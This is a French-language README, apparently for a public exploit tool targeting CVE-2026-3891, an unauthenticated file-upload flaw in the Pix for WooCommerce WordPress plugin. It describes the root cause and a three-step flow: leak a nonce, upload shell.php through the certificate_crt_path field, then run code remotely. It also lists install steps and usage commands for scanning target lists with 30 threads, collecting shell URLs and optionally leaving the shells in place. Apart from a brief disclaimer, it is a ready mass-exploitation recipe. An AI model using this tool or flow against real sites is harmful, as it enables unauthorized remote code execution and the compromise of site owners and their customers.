Aperçu

CVE-2026-3891 est une vulnérabilité de téléchargement arbitraire de fichier non authentifié de sévérité critique (CVSS 9.8) dans le plugin WordPress Pix for WooCommerce (par linknacional) versions ≤ 1.5.0.

Le gestionnaire AJAX lkn_pix_for_woocommerce_c6_save_settings présente :

Aucune vérification de capacité — tout visiteur non authentifié peut l'appeler
Aucune validation du type de fichier — toute extension de fichier est acceptée via le paramètre certificate_crt_path
Un nonce valide est librement obtenable via le point de terminaison lkn_pix_for_woocommerce_generate_nonce sans authentification

Les fichiers téléchargés atterrissent dans le répertoire accessible via le web /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/.

Versions affectées

Version	Statut
≤ 1.5.0	Vulnérable
1.6.0+	Corrigé

Découvert par : Alexis Lafontaine via Wordfence (13 mars 2026)

Mécanisme de la vulnérabilité

Cause racine

// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
    // No current_user_can() check
    // No wp_check_filetype() call
    move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}

Flux d'attaque

1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
   → Obtenir un nonce valide (aucune authentification requise)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
   → Télécharger shell.php via le champ certificate_crt_path
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
   → RCE (Exécution de code à distance)

Installation

git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt

Utilisation

python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup

Arguments

  -t, --target      Cible unique
  -f, --file        Liste de cibles
  -o, --output      Enregistrer les URLs RCE
  --threads         Travailleurs (défaut : 30)
  --no-cleanup      Laisser les shells sur la cible
  --debug           Afficher chaque requête
  -v, --verbose     Sortie verbeuse

Avertissement

UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.

Références

Ressource	Lien
Avis Wordfence	wordfence.com
Entrée NVD	CVE-2026-3891
Chercheur	Alexis Lafontaine

_{Non affilié à linknacional ou à Pix for WooCommerce.}

CVE-2026-3891

Populaires

CVE-2026-3891 — Pix for WooCommerce : Téléchargement de fichier non authentifié menant à une RCE

Fuite de nonce → Téléchargement certificate_crt_path → Exécution de code